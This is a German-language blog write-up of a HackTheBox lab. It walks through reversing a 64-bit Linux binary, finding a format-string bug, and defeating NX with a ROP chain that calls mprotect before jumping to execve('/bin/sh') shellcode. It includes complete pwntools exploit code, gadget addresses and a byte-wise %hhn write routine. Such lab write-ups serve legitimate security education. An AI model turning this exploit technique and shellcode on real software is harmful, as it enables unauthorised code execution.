1. ROP in einer Format-String Schwachstelle
Planted May 9, 2025
Während eines Labs bei HTB bin ich auf eine interessante Schwachstelle gestoßen.
Dabei handelte es sich um eine Format-String-Schwachstelle mit einigen Besonderheiten.
Anmerkung:
Aufgrund der ToS von HTB darf ich nicht sagen, um welches Lab, welche Challenge oder welches ProLab es sich handelt. Deshalb sind einige
Bilder und Namen unkenntlich gemacht. Ziel dieses Artikels ist es, das Konzept und die Vorgehensweise zu vermitteln.
🔍 Die Anwendung und Checksec
Bei der Anwendung handelt es sich um ein Linux-Programm, das auf der Konsole ausgeführt wird. Ich nenne es App
:
┌──(user㉿Linux)-[~]
└─$ file app
app: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=<SNIP>, not stripped
Es handelt sich also um eine ausführbare 64-Bit-ELF-Datei für Linux. Die libc wurde statisch gelinkt, d. h. sie ist Bestandteil der Anwendung (im Gegensatz zum dynamischen Linken, bei dem die libc des jeweiligen Betriebssystems genutzt wird).
Nun wird geprüft, welche Schutzmechanismen bei der Kompilierung aktiviert wurden. Dazu verwende ich checksec aus pwntools:
Wichtig sind folgende Einstellungen:
- NX enabled: Der Stack ist nicht ausführbar.
- Canary found: Am Anfang eines Funktionsaufrufs wird ein zufälliger Wert auf den Stack gelegt, der am Ende der Funktion überprüft wird. Hat sich dieser Wert verändert, gilt der Stack als kompromittiert und das Programm beendet sich.
- No PIE: ASLR ist nicht aktiviert. Die Adressen bleiben also nach jedem Neustart gleich. Das erleichtert die Exploit-Entwicklung.
- Stripped No: Debug-Informationen wurden nicht entfernt. Das erleichtert das Reverse Engineering.
In diesem Szenario spielt der Canary eine untergeordnete Rolle. NX hingegen verhindert, dass Shellcode auf dem Stack ausgeführt wird.
Ein Assembler-Snippet wie:
jmp RSP
würde daher nicht funktionieren und zu einem Absturz führen. Darauf komme ich später zurück.
Wir behalten die Sicherheitsmechanismen im Hinterkopf, sobald wir die Art der Schwachstelle genauer untersucht haben.
🖥️ Ausführung des Programmes
Nach der statischen Analyse folgt die Ausführung. Ziel ist ein grundlegendes Verständnis der Funktionsweise und angebotenen Features. Insbesondere interessiert, welche Eingaben (z. B. Nutzer, Dateisystem, Netzwerk) die Anwendung erwartet.
Die Anwendung begrüßt uns mit einem Banner. Offenbar handelt es sich um ein Programm, das Berechnungen durchführt. Zunächst wird ein Name abgefragt.
Anschließend gebe ich die Anzahl der gearbeiteten Stunden ein.
Nach Eingabe der Stunden (hier 20
) berechnet das Programm eine Summe, erstellt einen Report und fragt,
ob man es beenden möchte (Y
oder N
).
Ein kurzer Test mit langen Eingaben und Format-String-Zeichen führte zu keinem Ergebnis. Zeit fürs Reverse Engineering.
🐞 Bug Hunting mit IDA Pro
Für das Reverse Engineering kam IDA Pro zum Einsatz (Ghidra wäre ebenfalls geeignet). Nach dem Laden der Anwendung zeigt sich folgende Struktur:
Die Anwendung wirkt nicht besonders komplex.
Die Main-Funktion enthält u. a. eine Variable NOTES
, die mit 0
initialisiert und per memset
auf 1000
Bytes gesetzt wird.
mov edx, 3E8h
mov esi, 0
mov edi, offset NOTES
call memset
Anschließend erfolgt das Einlesen für Name
und Hours Worked
. Hours Worked
wird dann in ein Integer
umgewandelt:
sub rax, 1
mov [rbp+rax+var_30], 0
lea rax, [rbp+var_30]
mov rdi, rax
call atoi
mov [rbp+var_4C], eax
cmp [rbp+var_4C], 0
jnz short loc_4015CC
Liefert atoi
einen Fehler (eax == 0), erfolgt eine Fehlerausgabe:
<SNIP>
mov esi, offset aInvalidHours
mov edi, offset aInvalidHours
call log_error
mov rax, cs:stdout
mov rdi, rax
call fflush
jmp loc_4014C1
Liefert atoi
den Integerwert, wird die Summe ausgegeben – wie bereits oben gesehen. Ist die Summe 0
oder kleiner,
wird eine Fehlermeldung ausgegeben und in die Datei log.txt
geschrieben:
mov eax, [rbp+var_48]
mov edx, eax
mov eax, [rbp+var_4C]
imul eax, edx
mov [rbp+var_52], ax
...<SNIP>...
cmp [rbp+var_52], 0
jle loc_401762
loc_401762:
mov edi, offset aAnErrorHasOccu
call puts
mov edi, offset aLoggingDetails
call puts
...<SNIP>...
mov edi, offset aInvalidPayResu
call log_error
<SNIP>
Ist die Summe größer als 0
, kommt eine interessante Prüfung:
cmp [rbp+var_4C], 28h
jle short loc_40166A
In var_4c
steht der Wert von Hours Worked
. Ist dieser größer als 0x28
(= 40), so erreicht
man einen Codeblock, den wir oben nicht gesehen haben:
mov eax, [rbp+var_4C]
sub eax, 28h
mov [rbp+var_50], eax
...<SNIP>...
call printf
mov edi, offset aReasonForOvert
mov eax, 0
call printf
mov edx, 3E8h
mov esi, offset NOTES
mov edi, 0
call read
mov eax, [rbp+var_48]
Man schreibt in die Variable NOTES
mit einer Länge von 1000. Es soll ein Grund für die hohe
Stundenzahl angegeben werden. Okay, das merken wir uns.
Anschließend erfolgt die Ausgabe des Reports wie oben. Interessant ist dabei folgendes:
...<SNIP>...
mov edi, offset aHoursWorkedD
mov eax, 0
call printf
cmp [rbp+var_50], 0
jz short loc_4016EF
Die letzten beiden Zeilen prüfen, ob var_50
größer als 0
ist. Das ist genau dann der Fall,
wenn Hours Worked
größer als 40
ist, wie wir oben sahen:
mov eax, [rbp+var_4C]
sub eax, 28h
mov [rbp+var_50], eax
var_4c
hat den Wert von HOURS WORKED
. Dieser wird dann mit 40
subtrahiert und anschließend
in EAX
geschrieben. Danach wird EAX in die lokale Variable var_50
gespeichert.
Ist also HOURS WORKED
größer als 40, erreichen wir einen weiteren, zusätzlichen Codeblock. Interessant ist
dabei folgender Ausschnitt:
...<SNIP>...
mov edi, offset aReason
call puts
mov edi, offset NOTES
mov eax, 0
call printf
...<SNIP>...
In der Zeile drei wird die Adresse von Variable NOTES
in EDI geschrieben. Anschließend wird
EAX
mit 0
initialisiert und printf
aufgerufen. Wie bereits oben gesehen, befindet sich NOTES
unter unserer Kontrolle. Weitere Prüfungen oder Sanitarisierungen erfolgen nicht.
Somit haben wir hier wohl eine klassische Formatstring-Schwachstelle gefunden. Das muss jetzt mit einem (schnellen) Test untermauert werden:
In der Tat haben wir eine Formatstring Schwachstelle gefunden. Es werden hier Werte (Adressen) ausgegeben, die wohl vom Stack stammen.
🧪 Dynamische Codeanalyse mit GDB
Um das Verhalten der Anwendung zur Laufzeit genauer zu untersuchen, nutze ich den GNU Debugger (GDB) zusammen mit der Erweiterung PEDA, die hilfreiche Visualisierungen und Funktionen für die Exploit-Entwicklung bietet.
$ gdb -q app
Reading symbols from app...
(No debugging symbols found in app)
gdb-peda$
Nach dem Start mit r
zeigt sich das Programmverhalten wie erwartet:
Da es sich um eine Format-String-Schwachstelle handelt, muss ermittelt werden, ab welcher Position im Format-String der Stack manipuliert werden kann.
Die Werte BBBB
(0x42
) und DDDD
(0x44
) tauchen im Speicher auf, CCCC
hingegen nicht. Wir merken uns: Es existiert manipulierbarer Stack-Inhalt.
Ein klassischer Exploit würde nun Shellcode auf dem Stack
platzieren und dorthin springen.
Doch durch NX
ist das Ausführen von Stack-Code nicht möglich. Alternativen:
- ret2libc
- ROP (Return Oriented Programming)
🧬 Lesen der Adressen vom Stack mit Format Strings
Nächstes Ziel: Herausfinden, wo auf dem Stack die Rücksprungadresse liegt. Diese Adresse entscheidet, wohin die Ausführung nach Funktionsende springt – und ist daher das primäre Ziel vieler Exploits.
Mithilfe von IDA identifiziere ich die
relevante Stelle (0x4016FA
) kurz vor dem printf-Aufruf und setze dort einen Breakpoint:
Das ist unmittelbar vor der printf
-Funktion.
gdb-peda$ b *0x4016FA
Breakpoint 1 at 0x4016fa
Durch Eingabe vieler %x
-Formatangaben wird der Stack sichtbar:
Unter den Ausgaben findet sich die Rücksprungadresse:
Ein Gegencheck mit backtrace bestätigt die Adresse:
Schließlich finde ich heraus, dass die Rücksprungadresse an der 41
. Position im Format-String liegt (%41$x
).
Zwischenfazit
Wir wissen nun:
- Es gibt eine Format-String-Schwachstelle.
- Der Stack ist nicht ausführbar (
NX
). - Wir können Speicheradressen kontrolliert auslesen.
- Die Rücksprungadresse befindet sich bei Format-String-Position
41
.
Offen bleiben:
- Wo lässt sich Payload platzieren?
- Wie kann dieser Payload aufgerufen werden?
- Wie umgehen wir
NX
?
🛠️ Schreiben in Speicheradressen mit Format Strings
Format-Strings erlauben auch Schreiben, nicht nur Lesen. Dafür dient %n
:
%n
speichert die Anzahl bisher ausgegebener Zeichen in die Adresse, auf die der aktuelle Parameter verweist.
Beispiel:
AAAA%n
schreibt die Zahl 4 in die Adresse, die von%n
referenziert wird.
In unserem Fall wäre der erste Ansatz, die Rücksprungadresse an
Position 41
zu überschreiben.
Das Problem: Nur Byteweise ließ sich stabil schreiben. Mehrere Bytes führten zu Abstürzen.
Da wir im 64-Bit
-Kontext (8-Byte
-Adressen) arbeiten, ist das ein Problem.
Zudem verhindert NX
weiterhin direkten Shellcode auf dem Stack.
ROP-Chaining
Die Lösung: ROP.
Da wir die Eingabe (Name
) in den Stack schreiben können, lässt sich diese als Adresse verwenden.
Mit %n
können wir in beliebige Speicherbereiche schreiben.
Das Ziel ist, mithilfe von mprotect den Stackbereich als ausführbar zu markieren. Anschließend können wir dort Shellcode ausführen.
ROP-Chain Aufbau
1. pop rdi ; ret
2. Stack-Adresse auf dem Stack für pop rdi; Stack muss auf 0x1000 aligned sein.
3. pop rsi ; ret
4. Länge auf dem Stack für rsi (default: 0x1000)
5. pop rdx ; ret
6. PROT_EXEC. 0x7 = READ|WRITE|EXECUTE
7. Addresse von mprotect
8. jmp rsp
9. Shellcode
pop rdi
→ Speicheradresse für mprotectpop rsi
→ Länge des Bereichspop rdx
→ Zugriffsrechtemprotect
→ setzt die Rechtejmp rsp
→ springt in den Shellcode
Die Adresse von mprotect
finde ich z. B. über:
objdump -d app | grep "mprotect"
...SNIP...
000000000043bf50 <__mprotect>:
...SNIP...
Hier wäre die Adresse 0x43bf50
.
Anschließend ermittele ich die Adressen zu den Gadgets mit Hilfe von ROPGadget:
ROPgadget --binary app | grep -i "ret"
Shellcode
Der Shellcode nutzt sys_execve
, um /bin/sh
zu starten:
xor rax, rax
movabs rbx, 0x68732f6e69622f2f
push rax
push rbx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov al, 59
syscall
Ergebnis: Eine interaktive Shell.
📦 Exploit entwickeln mit Python und pwntools
Das manuelle Ausnutzen ist fehleranfällig und zeitintensiv. Mit Python und pwntools lässt sich der Ablauf robuster automatisieren.
Setup
Wir binden pwntools ein, definieren Zielhost/-port, laden das ELF (inkl. checksec
) und setzen einige Konstanten:
from pwn import *
from struct import pack
host = "127.0.0.1"
port = 1234
elf = ELF("/tmp/app", checksec=True)
context.log_level = "INFO"
context.arch = "amd64"
mprotect = elf.sym.mprotect
offset = b"6" # Format-String-Offset für %n (%<Wert>c%6$hhn)
Rücksprungadresse ermitteln
Als Nächstes brauchen wir die Rücksprungadresse (RIP) im aktuellen Kontext. Diese bildet den Ankerpunkt für unsere ROP-Chain:
def get_ret_address(p: process|remote) -> tuple[int, int]:
p.sendlineafter(b"<REDACTED> NAME: ", b"AAAABBBBCCCCDDDD")
p.sendlineafter(b"HOURS WORKED: ", b"60")
p.sendlineafter(b"REASON FOR <REDACTED>: ", b"%33$p")
p.recvuntil(b"REASON:")
stack_address = int(p.recvuntil(b"TOTAL <REDACTED>:").strip().split(b"\n")[0], 16) # stack address under my control
print(p.sendlineafter(b"EXIT (Y/N): ", b""))
return (stack_address + 0x118), stack_address+8
Hinweis: In GDB verschieben zusätzliche Umgebungsvariablen oft die Format-String-Positionen. Im Debug-Kontext war die Rücksprungadresse bei
%41$x
, außerhalb davon bei%33$p
. Die korrekte Position wurde hier empirisch (Trial & Error) ermittelt.
Byteweises Schreiben per %n
(hhn
)
Stabil ließ sich in diesem Fall nur byteweise schreiben. Wir nutzen %hhn
(Modulus 256
) und inkrementieren die Zieladresse nach jedem Byte.
def overwrite_stack(write_address: int, target_value: bytes, p: process | remote):
new_write_address = write_address
save_target_address = target_value
for i in range(len(target_value)):
target_address_byte = int(target_value[i])
new_write_address = write_address + i
p.sendlineafter(b"<REDACTED> NAME: ", p64(new_write_address))
p.sendlineafter(b"HOURS <REDACTED>: ", b"60")
if target_address_byte == 0: # special case for value 0
p.sendlineafter(b"REASON FOR <REDACTED>: ", b"%256c%" + offset + b"$hhn") # hhn => 256 % 256 = 0 => Write 0 since hhn performs a modulus operation with 256
else:
p.sendlineafter(b"REASON FOR <REDACTED>: ", b"%" + str(target_address_byte).encode() + b"c%" + offset + b"$n")
p.sendlineafter(b"EXIT (Y/N): ", b"")
# target_value = target_value >> 8 # shift right 8 bits for taking the next byte.
# Clear buffer
p.sendlineafter(b"<REDACTED> NAME: ", b"XY")
p.sendlineafter(b"HOURS <REDACTED> : ", b"60")
p.sendlineafter(b"REASON FOR <REDACTED>: ", b" ")
p.sendlineafter(b"EXIT (Y/N): ", b"")
new_write_address = new_write_address + 1 # new RIP for rop chain
return new_write_address```
Shellcode
Wir verwenden einen kompakten execve("/bin/sh")
-Shellcode (SYSCALL 59
):
shellcode = asm('''
xor rax, rax
movabs rbx, 0x68732f6e69622f2f
push rax
push rbx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov al, 59
syscall''')
ROP-Chain aufbauen
Die Chain markiert einen Stack-Bereich als RXW mittels mprotect
, springt dann mit jmp rsp
in den Shellcode:
def build_rop_and_trigger(p: process | remote):
# 1) Rücksprungadresse (Startpunkt) und kontrollierte Stackbasis ermitteln
ret_address, stack_base = get_ret_address(p)
# 2) Gadgets/Adressen (Beispielwerte aus der Analyse)
POP_RDI = 0x0000000000401d93 # pop rdi ; ret
POP_RSI = 0x0000000000401ea7 # pop rsi ; ret
POP_RDX = 0x000000000043e345 # pop rdx ; ret
JMP_RSP = 0x000000000049d9c3 # jmp rsp
LENGTH = 0x1000 # Größe des zu schützenden Bereichs
PROT_EXEC = 0x7 # PROT_READ | PROT_WRITE | PROT_EXEC
# 3) ROP schreiben (byteweise), beginnend an der Rücksprungadresse
# a) pop rdi ; ret
ret_address = overwrite_stack(ret_address, p64(POP_RDI), p)
# b) Seiten-aligned Stackadresse (mprotect verlangt 0x1000-Alignment)
ret_address = overwrite_stack(ret_address, p64(stack_base & ~0xfff), p)
# c) pop rsi ; ret
ret_address = overwrite_stack(ret_address, p64(POP_RSI), p)
# d) Länge
ret_address = overwrite_stack(ret_address, p64(LENGTH), p)
# e) pop rdx ; ret
ret_address = overwrite_stack(ret_address, p64(POP_RDX), p)
# f) Protection Flags
ret_address = overwrite_stack(ret_address, p64(PROT_EXEC), p)
# g) mprotect()-Adresse
ret_address = overwrite_stack(ret_address, p64(mprotect), p)
# h) jmp rsp (springt in den nachfolgenden Shellcode)
ret_address = overwrite_stack(ret_address, p64(JMP_RSP), p)
# i) Shellcode direkt hinter die Chain
ret_address = overwrite_stack(ret_address, shellcode, p)
# 4) Menüzustand sauber verlassen → Rücksprung auslösen
exit_program(p)
# 5) Interaktiv auf die Shell wechseln
p.interactive()
Eine mögliche exit_program
-Hilfsfunktion, falls das Menü eine Abschlussinteraktion verlangt:
def exit_program(p: process | remote):
try:
p.sendlineafter(b"EXIT (Y/N): ", b"Y")
except EOFError:
pass
Ergebnis: Nach mprotect
ist der Stackbereich ausführbar; jmp rsp
übergibt in den Shellcode, der /bin/sh
startet.
Fazit
Das Finden der Schwachstelle war herausfordernd, spannend und hat viel Spaß gemacht.
Auf die Format-String-Schwachstelle stößt man relativ leicht. Schwieriger war die Tatsache,
dass Angabe der Zieladresse und Schreibvorgang in unterschiedlichen Abfragen stattfanden.
Zudem mussten Hürden wie NX
und das byteweise Schreiben überwunden werden.
Insgesamt war es eine lehrreiche Aufgabe, die mir erneut tiefere Einblicke in Exploits im Linux-Umfeld verschafft hat.